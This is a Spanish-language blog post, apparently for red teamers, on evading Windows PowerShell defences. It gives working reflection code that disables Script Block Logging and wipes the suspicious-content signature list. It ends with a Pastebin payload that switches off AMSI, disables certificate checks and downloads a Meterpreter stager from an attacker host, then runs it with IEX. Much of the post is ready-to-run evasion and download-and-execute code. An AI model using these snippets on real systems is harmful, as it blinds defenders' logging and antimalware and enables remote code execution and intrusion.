Ejecución de scripts en PowerShell "like a boss" (evadiendo AMSI, logging y firmas)

El uso de scripts y lenguajes interpretados se ha convertido en un medio muy usado para saltarse la detección de malware o actividades maliciosas por parte de las soluciones antimalware tradicionales. Para evitarlo, Microsoft introdujo en Windows 10 otra protección denominada AMSI (Antimalware Scan Interface) sobre todo para inspeccionar los scripts que son invocados en tiempo de ejecución, abarcando no sólo PowerShell, si no también VBScript, Ruby y otros muchos lenguajes.

Pero la batalla nunca termina y pronto empezaron a surgir numerosas técnicas para evadir y desactivar AMSI  (unload) incluso evitando el autologging de WMF5: Matt Graeb, Daneil Bohannon, Cornelis de Plaa, Satoshiba Tanda... son sólo ejemplos de investigadores que lo consiguieron ... y lo publicaron.

Pero aún habiendo burlado AMSI hay otras medidas a tener en cuenta como PowerShell Script Block Logging, que se introdujo con la versión 5 de PowerShell y básicamente es la posibilidad de habilitar la auditoría de los scripts que se ejecutan dentro de PowerShell. Si bien esto tiene ventajas obvias, el gran beneficio de este método es la capacidad de descomprimir los scripts ofuscados en una forma legible. Por ejemplo, si invocamos un comando ofuscado que se pasa a través de Invoke-Obfuscate veremos el comando desofuscado en el visor de eventos. Por ej:


Podéis imaginar que si el SOC "alimenta" a un SIEM o a una herramienta de correlación de logs con estos eventos, tendrá muchas más posibilidades de identificar actividad maliciosa en una red.
Entonces, ¿qué puede hacer un red team para zafarse de este voyeurismo digital? Voy a resumirlo torpemente:

Manipulando el contenido de "Utils.cachedGroupPolicySettings", una propiedad o más bien un diccionario en Powershell que se usa para guardar una versión cacheada de las partes del registro que activan/desactivan el logging.

Por supuesto, nunca tocaremos el valor real del registro y usaremos reflection para modificar dicho diccionario, es decir, la clave del diccionario "cachedGroupPolicySettings" deberá establecerse en la ruta de la clave de registro donde está configurada la funcionalidad de PowerShell Script Block Logging, que en nuestro caso es "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ ScriptBlockLogging". El valor será un objeto Dictionary <string, object> que apunta a nuestro valor de configuración modificado, que será "EnableScriptBlockLogging" establecido a "0":

$settings = [Ref].Assembly.GetType("System.Management.Automation.Utils")
.GetField("cachedGroupPolicySettings","NonPublic,Static").GetValue($null);
$settings["HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"] = @{}
$settings["HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"].Add("EnableScriptBlockLogging", "0")

y con eso, nos aseguraremos que nuestros scripts no se monitoricen... :-D

Además, si utilizáis Empire desde hace tiempo lo tenéis implementado con el módulo Bypass ScriptBlock Logging.


Y por último, también existe otra medida en Powershell que se llama “ScriptBlock.CheckSuspiciousContent”, que lee el script y evalúa si su ejecución debe marcarse como sospechosa o no en base a una lista de firmas que se puede encontrar en la variable "Scriptblock.signatures". Esto significa que aunque hayamos desactivado PowerShell Script Block Logging como hicimos previamente, si ejecutamos un comando que coincide con una firma sospechosa iremos igualmente y de cabeza al Log de Eventos... es decir, otro escollo a salvar ;)

¿Qué tal si truncamos la lista de firmas para que ninguna coincida? Podemos volver recurrir otra vez a reflection (parámetro force):

[Ref].Assembly.GetType("System.Management.Automation.ScriptBlock")
.GetField("signatures","NonPublic,static").SetValue($null, (New-Object 'System.Collections.Generic.HashSet[string]'))

Aquí establecemos la variable "force" con una nueva hashset vacía, lo que significa que el parámetro "force" nunca será verdadero.

Y por último, otro regalito visto en Pastebin: un payload con Web_delivery/Meterpreter (personaliza el template para el AV) + AMSI bypass:
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null, $null);
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, [IntPtr]$mem);
[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};
$e=new-object net.webclient;
$e.proxy=[Net.WebRequest]::GetSystemWebProxy();
$e.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;
IEX $e.downloadstring('http://attacker-trusted-domain/pwn');

Fuente:
- Exploring PowerShell AMSI and Logging Evasion

Comentarios